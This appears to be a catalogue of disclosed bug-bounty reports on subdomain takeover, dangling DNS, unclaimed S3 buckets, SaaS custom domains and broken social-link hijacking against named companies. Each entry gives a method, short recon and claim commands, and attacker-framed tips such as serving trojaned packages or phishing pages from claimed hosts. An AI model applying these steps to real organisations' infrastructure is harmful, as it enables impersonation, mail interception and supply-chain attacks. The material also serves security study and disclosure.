# Region us-west-2, create ALB named 'a0e7eaaaa82f611e9b1cc0e9ccd15f3e' to reclaim
Insight — CNAMEs to *.elb.amazonaws.com (or other cloud resources with predictable/reclaimable names) that resolve to NXDOMAIN are takeover candidates; the region and name prefix are recoverable from the dangling target. Automate ALB creation to hit the same generated name.
Real-world example
Broken-link / dangling-reference takeover of a GitHub org cited in official docs
◆ Low
Specimen #1398572 · kubernetes · awarded · 6 votes · resolved
Program kubernetesSurface webChain broken doc link -> register GitHub org -> host malicioTag subdomain-takeoverTag supply-chain
Root cause
Official documentation links to an external GitHub account/repo (or other registrable namespace) that no longer exists; an attacker registers the freed name and now serves attacker-controlled content under the trust of the docs.
Method
- Crawl the target's docs/READMEs for outbound links to GitHub orgs, npm packages, S3 buckets, etc.
- Check each linked namespace for 404 / unregistered / available status.
- Register the dangling name and host a benign PoC (or malicious payload/SDK) that users will pull by following the docs.
# find dangling github links in a docs repo
grep -rEoh 'https://github.com/[A-Za-z0-9_-]+' docs/ | sort -u | while read u; do code=$(curl -s -o /dev/null -w '%{http_code}' "$u"); echo "$code $u"; done | grep '^404'
Insight — Docs and setup guides are a high-trust supply-chain surface: any referenced-but-unregistered GitHub org/repo, package, or bucket is a takeover primitive that leads users to run attacker code. Enumerate outbound references, not just subdomains.
Real-world example
NS/DNS takeover via unregistered domains referenced in project docs
◆ Low
Specimen #1092859 · kubernetes · awarded · 5 votes · resolved
Program kubernetesSurface otherChain unregistered doc domain → registration → authoritative DNS →Tag subdomain-takeover
Root cause
KOPS documentation and Route53 examples referenced domain names that were never registered; anyone can register the domain (or become the NS for it) and then serve arbitrary DNS records for every host still delegated to it — broader than a single-subdomain takeover.
Method
- Harvest domain names from a project's docs/configs/example manifests (here KOPS aws.md lines 129-135)
- Check registration/WHOIS; register the available ones
- Now authoritative for the zone: serve arbitrary A/MX/TXT records, issue certs via postmaster@ email validation, join SaaS needing domain email, capture inbound mail, reclaim payment subscriptions
# from docs example:
# see kubernetes/kops/blob/master/docs/getting_started/aws.md lines 129-135
# register the referenced domain -> control its NS/zone entirely
Insight — Example/placeholder domains in docs, CI configs, and IaC get copy-pasted into real infra. Enumerate every domain a project's docs reference and check availability — a full DNS/NS takeover yields cert issuance, email interception, and SaaS account seizure, not just web content.
Real-world example
Dangling DNS to a released-and-reassigned EC2 elastic IP
◆ Low
Specimen #175451 · x · awarded · 3 votes · resolved
Program xSurface cloudChain dangling DNS -> reclaim cloud IP -> serve arbitrary coTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain's DNS record kept pointing at an EC2 instance/IP that was deallocated and later reassigned to a different AWS customer, so traffic to the subdomain reached infrastructure no longer controlled by the organization (here surfacing as full path disclosure, but the primitive is host takeover).
Method
- Enumerate the target's subdomains and resolve their A/CNAME records
- Flag records pointing at cloud IP ranges (EC2 elastic IPs) that no longer respond as expected / are re-provisionable
- Reclaim the IP by cycling EC2 instances/EIPs in the same region until the dangling IP is assigned to you, then serve content on the subdomain
# resolve and check for dangling cloud A-records
dig +short 27.prd.vine.co
# if it points to a released EC2 IP, allocate EIPs in that region until you reclaim it
Insight — Any A-record pinned to a raw cloud IP (rather than a controlled CNAME) is a takeover risk once the resource is deallocated - the IP goes back into the provider pool and can be reclaimed by anyone. Hunt for A-records into EC2/DO/GCP ranges that return errors or path disclosure; those signal orphaned infra you may be able to reclaim.
Real-world example
Dangling CNAME to Zendesk -> subdomain takeover
◆ Low
Specimen #103432 · urbandictionary · none · 1 votes · resolved
Program urbandictionarySurface webTag subdomain-takeover
Root cause
A subdomain CNAMEs to a SaaS host (Zendesk) whose account/host was never claimed or was released; the SaaS shows an unconfigured banner, so anyone can register that host on the provider and serve content on the victim's subdomain.
Method
- Enumerate subdomains and their CNAME targets; flag ones pointing at third-party SaaS (zendesk, github.io, s3, herokuapp, etc.).
- Visit the subdomain; a provider 'no help desk / no such app / NoSuchBucket' message is the takeover tell.
- Register/claim that exact host on the provider to serve attacker content on the victim subdomain.
# tell for Zendesk:
support.TARGET.com -> CNAME TARGET.zendesk.com
# page: "There is no help desk configured at this address. ... claim it at zendesk.com/signup"
Insight — The provider fingerprint string is the whole signal - map subdomains to CNAMEs and diff the response body against known 'unclaimed' banners per SaaS. Zendesk's 'no help desk configured' is one; keep a table of these per provider for scanning.
Real-world example
Broken Link Hijacking of an abandoned social-media handle
◆ Low
Specimen #3119034 · omise · awarded · 110 votes · resolved
Program omiseSurface webTag subdomain-takeover
Root cause
The site footer links to a social-media page whose account was deleted; the username is available for registration, so anyone can claim it and impersonate the brand under a link the site vouches for.
Method
- Crawl the site for social links (footer icons)
- Follow each; note any that 404 / 'deleted account'
- Check username availability (e.g. brandsnag facebook-username-checker)
- Register the freed handle to impersonate the brand
Insight — Enumerate every outbound social/CDN/third-party link on a target and test for dangling references (deleted account, expired domain, unclaimed handle); a link the victim site trusts becomes a phishing/impersonation asset.
Real-world example
Broken link hijacking of dead social-media handle
◆ Low
Specimen #2682974 · mtn_group · none · 41 votes · resolved
Program mtn_groupSurface webTag subdomain-takeover
Root cause
A company site linked to a social-media profile (Instagram) whose handle was unregistered/abandoned; an attacker registered the handle so all visitors following the site's link land on attacker-controlled content.
Method
- Enumerate outbound social-media / external links on the target's site and footer
- Identify handles that are unclaimed or return 404/available
- Register the handle to capture link traffic for phishing / brand abuse
Insight — Crawl a target's footer and 'follow us' links for social handles, then check each for availability (404/username free). Claiming a dead linked handle is a low-effort broken-link-hijack that yields a trusted phishing vector from the victim's own domain.
Real-world example
Broken-link hijack of a dangling partner social account
◆ Low
Specimen #266908 · gitlab · none · 11 votes · resolved
Program gitlabSurface webTag subdomain-takeover
Root cause
A trusted page (resellers list) links to an external account (a reseller's Facebook page) that was deleted/renamed; the username became re-registerable, letting an attacker claim it and impersonate the vendor-endorsed partner.
Method
- Enumerate outbound links on trusted/partner/reseller pages
- Find links to deleted or renamed external accounts (404 profile, freed username/handle)
- Register the freed handle
- Attacker-controlled account is now linked from the trusted site -> phish/scam customers
Insight — Crawl a target's outbound links to social/CDN/SaaS handles and flag any that 404 or point to freed usernames - dangling references on a reputable page are a takeover/impersonation primitive even without classic DNS CNAME takeover.
Real-world example
Broken-link hijacking of unclaimed social handle
◆ Low
Specimen #1815355 · gener8 · none · 7 votes · resolved
Program gener8Surface webTag subdomain-takeover
Root cause
The organization links to a social-media (Twitter) handle that is no longer registered; anyone can claim that username and impersonate the org to visitors who follow the link.
Method
- Enumerate outbound links on the target's profile/site (social handles, external services).
- Check each destination for an unregistered/available username or dangling resource.
- Register the available handle to control where the trusted link resolves (PoC only, then release).
Insight — Broken-link hijacking is a cheap recon win: crawl a target's linked social accounts and external services, then check which handles are claimable. A trusted link pointing to an attacker-controlled account enables impersonation/phishing of the org's audience. Sibling of DNS/subdomain takeover for dangling references.
Real-world example
Dangling CNAME to unclaimed GitHub Pages
◆ Info
Specimen #321699 · x · none · 159 votes · resolved
Program xSurface webTag subdomain-takeover
Root cause
A company-owned domain's DNS pointed to a non-existent GitHub Pages site, so anyone could claim it by hosting a Pages repo with a matching CNAME file.
Method
- Find a company domain whose CNAME/A points to a fingerprintable SaaS with no backing resource
- Create a GitHub Pages repo with a CNAME file = victim domain
- Serve arbitrary content on the victim domain
echo mobileapplinking.com > CNAME # in an attacker GitHub Pages repo
Insight — Enumerate all org subdomains, resolve, and check for dangling pointers to SaaS (GitHub Pages/Heroku/S3/Fastly/etc.) with the provider's 'no such site' fingerprint; claim the resource on that provider.
Real-world example
Subdomain takeover via dangling CNAME to unclaimed S3 website bucket
◆ Info
Specimen #121461 · bime · awarded · 77 votes · resolved
Program bimeSurface cloudChain subdomain takeover -> convincing fake login page -> crTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain CNAME still points to an S3 website bucket that no longer exists; anyone can create a bucket with that exact name in the same region and serve attacker content from the trusted subdomain.
Method
- Enumerate subdomains and resolve them (dig)
- Find a CNAME to *.s3-website-<region>.amazonaws.com returning NoSuchBucket/404
- Create an S3 bucket named exactly like the subdomain in that region
- Enable static website hosting, upload index.html, make public
- Serve phishing/malicious content from the victim subdomain
dig A a2.bime.io @8.8.8.8
; a2.bime.io CNAME bimeio.s3-website-us-east-1.amazonaws.com
# bucket 404 -> claim bucket name 'a2.bime.io' in us-east-1, enable website hosting
Insight — For every subdomain, resolve the CNAME chain and flag ones pointing to S3/Heroku/GitHub Pages/Azure/etc. that return a provider 'not found' fingerprint; the bucket name usually must match the host and region. High-trust use is credential-phishing on the org's own subdomain.
Real-world example
Dead PaaS app referenced in public docs -> Heroku app takeover
◆ Info
Specimen #514451 · security · USD 500 · 68 votes · resolved
Program securitySurface cloudTag subdomain-takeover
Root cause
Public docs/repos referenced an abandoned Heroku app name no longer registered, letting anyone re-create the app and serve content from the trusted-looking URL.
Method
- Recon the target's GitHub org/docs for hardcoded *.herokuapp.com / PaaS app names
- Check which referenced apps return 'no such app' / are unclaimed
- Register the app name on Heroku to take it over
# recon: grep repos/docs for herokuapp.com references
# e.g. breaker101.herokuapp.com (dead) -> claim on Heroku
Insight — Grep an org's GitHub repos, docs and old markdown for references to PaaS apps (Heroku, Netlify, GitHub Pages, S3); dangling ones are directly claimable and inherit the target's implied trust.
Real-world example
S3 CNAME subdomain takeover via unclaimed bucket
◆ Info
Specimen #32825 · x · awarded · 50 votes · resolved
Program xSurface cloudChain dangling S3 CNAME -> bucket claim -> phishing / XSS onTag subdomain-takeoverTag cloud-aws
Root cause
media.vine.co CNAMEd to *.s3.amazonaws.com but no bucket matching the hostname existed; since S3 requires the bucket name to equal the CNAME host, anyone could create the media.vine.co bucket and serve content on the subdomain.
Method
- Enumerate CNAMEs; find one aliasing an S3 endpoint
- Check whether a bucket named exactly like the host exists
- If not, create that bucket in your AWS account and host content
media.vine.co -> CNAME vines.s3.amazonaws.com (no 'media.vine.co' bucket) => create bucket 'media.vine.co'
Insight — Any subdomain CNAMEd to S3 where the matching bucket is unclaimed is takeover-able; the S3 rule that bucket name must equal the custom host is what makes it reclaimable. Foundational subdomain-takeover primitive -> phishing/XSS on the trusted origin.
Real-world example
Dangling CNAME to SendGrid -> subdomain takeover
◆ Info
Specimen #2567048 · smule · none · 47 votes · resolved
Program smuleSurface webTag subdomain-takeover
Root cause
An email subdomain's CNAME pointed to sendgrid.net with no active SendGrid domain claim, so the subdomain (including inbound email routing) could be taken over by registering it on SendGrid.
Method
- Enumerate subdomains and their CNAMEs; note email.target.com -> sendgrid.net returning 404/unclaimed
- Sign up for SendGrid and add/claim the target subdomain
- Serve content / potentially receive email for the subdomain
dig email.smule.com CNAME
; email.smule.com. CNAME sendgrid.net. (unclaimed)
Insight — Dangling CNAMEs to SaaS providers (SendGrid, and similar) are claimable. Email-serving subdomains additionally risk inbound-mail interception. Cross-reference fingerprints against can-i-take-over-xyz.
Real-world example
Dangling CNAME to Fastly -> subdomain takeover -> malicious package registry
◆ Info
Specimen #340580 · nodejs · none · 35 votes · resolved
Program nodejsSurface webChain Dangling CNAME -> Fastly takeover -> serve malicious nTag subdomain-takeoverTag supply-chain
Root cause
registry.nodejs.org had a CNAME pointing at a Fastly service that no longer claimed the domain. Fastly (like many CDNs/SaaS) does not require DNS ownership proof to bind a hostname to a new service, so anyone could register a Fastly distribution for the unclaimed domain and serve content on it.
Method
- Enumerate subdomains and resolve CNAMEs; flag those pointing to CDN/SaaS (Fastly, S3, GitHub Pages, Heroku, etc.).
- Check whether the target service still claims the hostname (fetch returns default/unclaimed error).
- Register a new Fastly service and add the dangling hostname to its Domains field (no ownership proof required).
- Serve attacker content; here it received 300+ requests for npm packages, enabling backdoored-package delivery.
dig CNAME registry.nodejs.org # -> registry.npmjs.org via a Fastly service no longer bound to it
# claim the hostname in a new Fastly distribution's Domains field
Insight — CNAMEs to CDNs/SaaS that don't verify domain ownership are takeover candidates whenever the backing service is deleted but the DNS record lingers. A package-registry subdomain takeover is a supply-chain foothold: clients using the wrong registry setting fetch attacker-controlled packages.
Real-world example
Subdomain takeover via unclaimed hosting app + wildcard claim
◆ Info
Specimen #148770 · legalrobot · awarded · 33 votes · resolved
Program legalrobotSurface webChain Dangling DNS -> claim app/domain -> phishing/cookie thTag subdomain-takeover
Root cause
A subdomain (api.*) pointed to a hosting provider (Modulus.io) with no application bound to it ('NO APPLICATION WAS FOUND'). Registering an app for that hostname on the provider (here via the *.domain wildcard) lets the attacker serve arbitrary content, and the provider even terminates SSL for the domain.
Method
- Find a subdomain returning a provider 'no app / not found' banner
- Create an account on that provider
- Add the exact domain, or the wildcard *.victim.com if the exact one is taken
- Serve PoC content; provider resolves and SSL-terminates the domain
curl https://api.victim.com
Hello World!<!--ATTACKER--> # served from attacker's claimed provider app
Insight — Fingerprint dangling subdomains by their provider error banners; when the exact host is claimed, try the wildcard. Takeovers span service-app (Modulus/Netlify/Azure) and expired-domain CNAMEs. Never point DNS at a service you have not provisioned.
Real-world example
Mailgun sub-subdomain takeover via CNAME-inherited MX -> postmaster/cert issuance
◆ Info
Specimen #174983 · gitlab · none · 31 votes · resolved
Program gitlabSurface webChain mail interception -> DV certificate issuance for the domaTag subdomain-takeover
Root cause
A tracking CNAME (email.mg.gitlab.com -> mailgun.org) inherits Mailgun's MX records but the sub-subdomain was never claimed as its own Mailgun domain, so anyone can add it to their Mailgun account and receive its mail (including postmaster@, usable to issue DV certificates).
Method
- Find a CNAME to a mail SaaS (mailgun.org/sendgrid) whose FQDN is not itself registered in that provider
- Confirm it inherits the provider MX (host <fqdn>)
- Add the domain to your own provider account and verify ownership
- Create a catch-all/postmaster mailing list with recipient=you and receive mail sent to that subdomain
$ host email.mg.gitlab.com
email.mg.gitlab.com is an alias for mailgun.org.
mailgun.org mail is handled by 10 mxa.mailgun.org.
# -> claim email.mg.gitlab.com in Mailgun, create postmaster@ list
Insight — CNAMEs to email providers inherit MX, so EVERY sub-subdomain pointed at the provider must be separately claimed. Unclaimed ones let you intercept mail -> read internal email and issue DV/SSL certs (postmaster@, admin@) for the domain.
Real-world example
Incoming email hijack via dangling MX records
◆ Info
Specimen #168476 · snapchat · awarded · 25 votes · resolved
Program snapchatSurface webChain Mail control -> potential domain-validation / password-reTag subdomain-takeover
Root cause
A domain kept MX records pointing at a shared mail provider (GoDaddy/secureserver.net) with no mailbox provisioned; an attacker can register an email account for that domain on the provider and send/receive mail as the domain.
Method
- Enumerate MX records on in-scope domains and note any pointing at shared/SaaS mail hosts (secureserver.net, outlook/Office365, Google, Zoho, etc.).
- Attempt to provision a mailbox for the domain on that provider; if the domain is unregistered there, you can claim it.
- Receive/send mail as arbitrary-user@domain to prove control and enable staff impersonation or domain-validation abuse.
dig sc-cdn.net MX
; sc-cdn.net. 3599 IN MX 0 smtp.secureserver.net.
; sc-cdn.net. 3599 IN MX 10 mailstore1.secureserver.net.
# -> register GoDaddy email hosting for sc-cdn.net, then receive mail at rubyroobs@sc-cdn.net
Insight — Dangling MX is a takeover primitive as real as dangling CNAME: it grants inbound mail control, which can pass domain-ownership/email verification and impersonate staff. Always check MX, not just A/CNAME.
Real-world example
Dangling S3 bucket referenced by install docs
◆ Info
Specimen #1835133 · brave · awarded · 24 votes · resolved
Program braveSurface cloudChain dangling storage reference -> bucket claim -> malware Tag subdomain-takeoverTag cloud-aws
Root cause
Official Linux install instructions pointed to an S3 bucket (brave-browser-rpm-staging-release-test) that was deleted/unclaimed; any AWS user can create a bucket with that name and serve malicious keyrings/binaries.
Method
- Enumerate S3 references in docs/forum/community posts and package repos
- Request the bucket URL; a NoSuchBucket error means it is claimable
- Create the bucket with the same name in the correct region
- Upload proof.txt (and, for real impact, a trojaned keyring/rpm)
# Vulnerable reference:
https://s3-us-west-2.amazonaws.com/brave-browser-rpm-staging-release-test/
# Claim: create a bucket named brave-browser-rpm-staging-release-test in us-west-2
aws s3 mb s3://brave-browser-rpm-staging-release-test --region us-west-2
Insight — Grep a target's docs, forum answers, install scripts and package manifests for s3.amazonaws.com/<name> references; NoSuchBucket = supply-chain takeover, higher impact than DNS CNAME takeover because users download binaries from it.
Real-world example
Dangling CNAME to unclaimed UserVoice
◆ Info
Specimen #142096 · slack · awarded · 23 votes · resolved
Program slackSurface webTag subdomain-takeover
Root cause
An acquisition subdomain (feedback.screenhero.com) had a live CNAME to an inactive UserVoice tenant; anyone could register the screenhero UserVoice name and claim the subdomain, no DNS verification enforced by the provider.
Method
- Enumerate subdomains and resolve CNAMEs of the target and its acquisitions
- Find a CNAME pointing to a SaaS host where the account/tenant is unclaimed
- Register that tenant name on the SaaS to serve content on the victim subdomain
feedback.screenhero.com CNAME screenhero.uservoice.com (uservoice tenant unclaimed)
Insight — Post-acquisition and abandoned marketing subdomains are prime takeover targets; always resolve CNAMEs to third-party SaaS (UserVoice, GitHub Pages, Heroku, S3, Zendesk) and check for the provider's 'unclaimed' fingerprint.
Real-world example
Dangling CNAME subdomain takeover (Fastly / Heroku unclaimed service)
◆ Info
Specimen #165309 · shopify · none · 23 votes · resolved
Program shopifySurface cloudChain Subdomain takeover -> cookie scoping/phishing/CSP-trustedTag subdomain-takeover
Root cause
A DNS record (CNAME/ALIAS) still points at a SaaS host (Fastly, Heroku) after the backing service was cancelled/decommissioned, so anyone can register that hostname on the provider and serve content from the victim's subdomain.
Method
- Enumerate subdomains and resolve CNAMEs to SaaS providers
- Fetch the URL and look for the provider's unclaimed-service error fingerprint
- Register the hostname on the provider (create a Fastly service / re-register the Heroku app) to claim it
host genghis-cdn.shopify.io # -> alias shopify-e.map.fastly.net (unclaimed)
curl http://genghis-cdn.shopify.io
# 'Fastly error: unknown domain: genghis-cdn.shopify.io. Please check that this domain has been added to a service.'
Insight — Takeover = dangling DNS + provider that lets you claim the exact hostname. Learn per-provider fingerprints: Fastly 'unknown domain', Heroku 'No such app'/decommissioned Herokuapp, S3 NoSuchBucket, GitHub Pages 404. Blog/marketing links to dead SaaS apps are a prime source (see #1379910 Heroku variant).
Real-world example
Dangling subdomain redirect to an expired domain
◆ Info
Specimen #150374 · shopify · awarded · 19 votes · resolved
Program shopifySurface webChain crt.sh subdomain enum -> dangling external redirect ->Tag subdomain-takeover
Root cause
A trusted *.shopify.com subdomain was configured to auto-redirect to a third-party domain (aislingofwindsor.com) that had expired; buying the expired domain gave the attacker control of what the trusted subdomain redirects to.
Method
- Enumerate subdomains via crt.sh (%.target.com)
- Find one that 30x-redirects to an external domain
- Check if that external domain is expired/available; register it to control the trusted subdomain's destination
crt.sh query: https://crt.sh/?q=%25.shopify.com
Result: windsor.shopify.com -> (redirects to) aislingofwindsor.com [expired -> buy it]
Insight — Certificate-transparency enumeration surfaces subdomains that redirect to third-party domains; a lapsed target domain is a takeover-grade open redirect on the trusted origin (works over HTTPS, maximally credible for phishing).
Real-world example
Trailing-dot DNS variant enabling third-party (GitBook) subdomain takeover
◆ Info
Specimen #223625 · udemy · awarded · 19 votes · resolved
Program udemySurface webTag subdomain-takeover
Root cause
A subdomain CNAMEs to a third-party host (GitBook). The host's custom-domain feature does not claim the trailing-dot FQDN form (sub.domain.com.), so an attacker registers that exact host on the provider and serves content, yielding stored XSS in the parent origin.
Method
- dig the subdomain; confirm CNAME to a takeover-prone provider
- Test the trailing-dot form sub.domain.com. (equivalent FQDN, often unclaimed on the provider)
- Register that host on the provider and serve attacker content/JS
dig coding-exercises.udemy.com. # CNAME -> www.gitbooks.io -> cdn.gitbook.com
# claim 'coding-exercises.udemy.com.' as a custom domain on GitBook
Insight — When a normal takeover is blocked, try the trailing-dot FQDN variant: browsers treat sub.domain.com. as the same origin but providers often treat it as a separate, unclaimed hostname. Applies to any CNAME'd SaaS host.
Real-world example
Subdomain takeover via unclaimed Heroku app on dangling CNAME
◆ Info
Specimen #172698 · websummit · awarded · 17 votes · resolved
Program websummitSurface webTag subdomain-takeover
Root cause
A DNS CNAME points to a third-party PaaS hostname (herokuapp.com) that the org never claimed/registered; anyone can create that app name and serve content on the victim subdomain.
Method
- Resolve subdomains and look for CNAMEs to third-party services (heroku, github pages, etc.).
- Confirm the target name is unclaimed on the provider (error / available).
- Register the app name (e.g. Heroku app wsv1) and serve a page to prove control.
nslookup signup.websummit.net 8.8.8.8
# signup.websummit.net -> wsv1.herokuapp.com (unclaimed) => register wsv1 on Heroku
Insight — Any CNAME to a claimable PaaS target is a takeover candidate; 'signup'-style subdomains are especially valuable for phishing since users expect to enter credentials.
Real-world example
Dangling DNS to unclaimed cloud host (Heroku) takeover
◆ Info
Specimen #221133 · gratipay · none · 16 votes · resolved
Program gratipaySurface webTag subdomain-takeover
Root cause
A DNS record points to a third-party platform (Heroku) where no app owns the hostname, so anyone can register that hostname on the platform and serve content from the target's subdomain.
Method
- Enumerate subdomains and resolve them; flag CNAMEs to SaaS/PaaS (herokudns.com, github.io, S3, azurewebsites, etc.).
- Check the platform for a 'no such app' / default 404 fingerprint.
- Claim the hostname on that platform (heroku domains:add ...) and deploy PoC content.
heroku domains:add www.gratipay.com.herokudns.com
# then deploy app -> subdomain serves attacker content
Insight — Classic subdomain takeover: fingerprint dangling CNAMEs to third-party services then claim them. Impact = phishing, cookie theft on parent domain, OAuth redirect abuse. Automate with subjack/nuclei takeover templates.
Real-world example
Dangling CNAME to statuspage.io -> subdomain takeover
◆ Info
Specimen #49663 · vimeo · awarded · 14 votes · resolved
Program vimeoSurface webChain subdomain takeover -> cookie fixation/read + phishing on Tag subdomain-takeover
Root cause
A subdomain (status.vimeo.com) points via DNS to a third-party SaaS (statuspage.io) that has no page provisioned, so anyone can register that hostname on the provider and serve content from the trusted subdomain.
Method
- Enumerate subdomains and resolve CNAMEs; look for ones pointing to SaaS hosts (statuspage.io, heroku, github.io, S3, desk.com).
- Check whether the provider returns an unclaimed/no-such-account response.
- Register the hostname on that provider to claim the subdomain.
- Serve phishing/login forms, set/read cookies, and abuse same-origin trust on the parent domain.
dig CNAME status.vimeo.com -> hosted.statuspage.io (unclaimed)
# claim 'status.vimeo.com' as the page name inside statuspage.io
Insight — Dangling CNAMEs to SaaS providers are free subdomain takeovers. Impact is real: cookie set/read within the parent domain scope, believable phishing, and CSP/CORS trust abuse. Keep DNS entries pruned when you stop using a service.
Real-world example
Subdomain takeover via dangling CNAME to unclaimed SaaS custom domain
◆ Info
Specimen #171942 · snapchat · none · 14 votes · resolved
Program snapchatSurface webChain dangling CNAME -> provider custom-domain claim -> contTag subdomain-takeover
Root cause
A subdomain CNAME still points to a SaaS provider (Tumblr) whose custom-domain claim was removed/expired; adding that domain as a custom domain in an attacker's provider account serves attacker content on the target subdomain.
Method
- Enumerate subdomains and their CNAME targets
- Identify CNAMEs to SaaS providers (Tumblr, Squarespace, GitHub Pages, Heroku, Shopify, Fastly, etc.) returning an unclaimed/404 fingerprint
- Register the domain as a custom domain in your own account on that provider
- Serve arbitrary content on the target subdomain
# blog.TARGET.com CNAME -> unclaimed Tumblr blog (404 fingerprint)
# add blog.TARGET.com as custom domain in attacker Tumblr account -> takeover
Insight — The core pattern: dangling CNAME to a provider that lets anyone bind an unverified custom domain. Match provider-specific 404 fingerprints (can-i-take-over-xyz). Impact escalates via domain-scoped cookies, OAuth redirect/whitelist trust, and CSP/host allowlists.
Real-world example
Unclaimed S3 bucket behind CNAME -> content control / stored XSS on subdomain
◆ Info
Specimen #207576 · shopify · USD 500 · 13 votes · resolved
Program shopifySurface cloudChain subdomain takeover -> stored XSS / phishing on trusted orTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain CNAMEs to a cloud service (S3 bucket / Zendesk instance) that is no longer registered/claimed; anyone can register that bucket/instance and serve arbitrary content on the victim's subdomain.
Method
- Enumerate CNAMEs; find one pointing to an S3 bucket (or SaaS) that returns NoSuchBucket/unclaimed
- Register the bucket/instance with the exact name on your own account
- Serve HTML/JS at the subdomain (stored XSS, phishing, or steal data apps send there)
s3.TARGET.com. CNAME target-assets.s3.amazonaws.com. (bucket unregistered)
-> claim 'target-assets' bucket -> host http://s3.TARGET.com/xss.html
Insight — Dangling CNAMEs to S3/Zendesk/GitHub Pages/etc. are subdomain takeovers that give full HTML control on a trusted origin = stored XSS + convincing phishing + interception of any data the app sends to that host. Sweep all subdomain CNAMEs for unclaimed provider targets.
Real-world example
Subdomain takeover via dangling S3 CNAME
◆ Info
Specimen #42236 · x · awarded · 4 votes · resolved
Program xSurface webChain dangling DNS -> claim provider resource -> subdomain cTag subdomain-takeoverTag cloud-aws
Root cause
users.tweetdeck.com pointed (CNAME) at AWS S3 but no bucket was bound to the name; an attacker can create the matching S3 bucket and serve arbitrary content on the subdomain.
Method
- Resolve the subdomain and see it CNAMEs to an S3/AWS endpoint returning NoSuchBucket
- Create an S3 bucket with the exact hostname/expected name
- Host attacker content -> full control of the subdomain
dig users.tweetdeck.com CNAME -> *.s3.amazonaws.com (NoSuchBucket)
aws s3 mb s3://users.tweetdeck.com # claim the dangling name
Insight — Enumerate CNAMEs to third-party providers (S3, GitHub Pages, Heroku) and look for the provider's 'not found' fingerprint; a claimable name = takeover for phishing/cookie theft.
Real-world example
Subdomain takeover via dangling CNAME to Tumblr
◆ Info
Specimen #113869 · eternal · none · 4 votes · resolved
Program eternalSurface webChain dangling DNS -> provider account claim -> subdomain coTag subdomain-takeover
Root cause
A subdomain CNAME points to a third-party host (Tumblr) where the account/blog no longer exists, so anyone can register the target on that provider and serve content from the victim's subdomain.
Method
- Enumerate subdomains and resolve their CNAMEs.
- Flag CNAMEs pointing to third-party services (tumblr, heroku, github.io, s3, desk) that return an unclaimed/404 fingerprint.
- Claim the resource on the provider to take over the subdomain.
nslookup engineering.zomato.com
# engineering.zomato.com canonical name = domains.tumblr.com
# Tumblr shows the blog is unclaimed -> register it to serve content on the subdomain
Insight — Resolve every subdomain's CNAME and match against known-takeover fingerprints; a dangling pointer to Tumblr/Heroku/GitHub Pages/S3/Desk that yields the provider's 'no such blog/app' page is claimable.
Real-world example
Dangling CNAME to expired hosting service
◆ Info
Specimen #101104 · x · awarded · 3 votes · resolved
Program xSurface webTag subdomain-takeover
Root cause
A subdomain's DNS still pointed (CNAME) to a third-party hosting provider whose service/account had expired, letting an attacker claim the target on that provider and serve content on the subdomain.
Method
- Enumerate subdomains and resolve their CNAME/A targets
- Find one pointing to a third-party service (hosted-by.myinternetservices.com) that is expired/unclaimed
- Register/claim the resource on that provider to take over the subdomain
# tool.mopub.com CNAME -> hosted-by.myinternetservices.com (service expired)
dig CNAME tool.mopub.com
Insight — Dangling DNS to any third-party host (S3/Heroku/GitHub Pages/hosting resellers) is takeover surface. Enumerate all subdomains, resolve targets, and flag any that 404/expired at the provider.
Real-world example
Dangling DNS to unclaimed Heroku app
◆ Info
Specimen #96007 · shopify · none · 4 votes · resolved
Program shopifySurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
sellocdn.com pointed (DNS) to Heroku but the app was never claimed, letting anyone register it on Heroku and serve content from the company domain.
Method
- DNS-recon company-owned domains for CNAME/ALIAS pointing to PaaS (Heroku, S3, GitHub Pages, etc.)
- Check the target host returns 'no such app'/unclaimed
- Register the app name on the PaaS to claim the dangling domain
Insight — Enumerate DNS records for third-party service pointers, then test each for unclaimed/dangling status to seize the subdomain.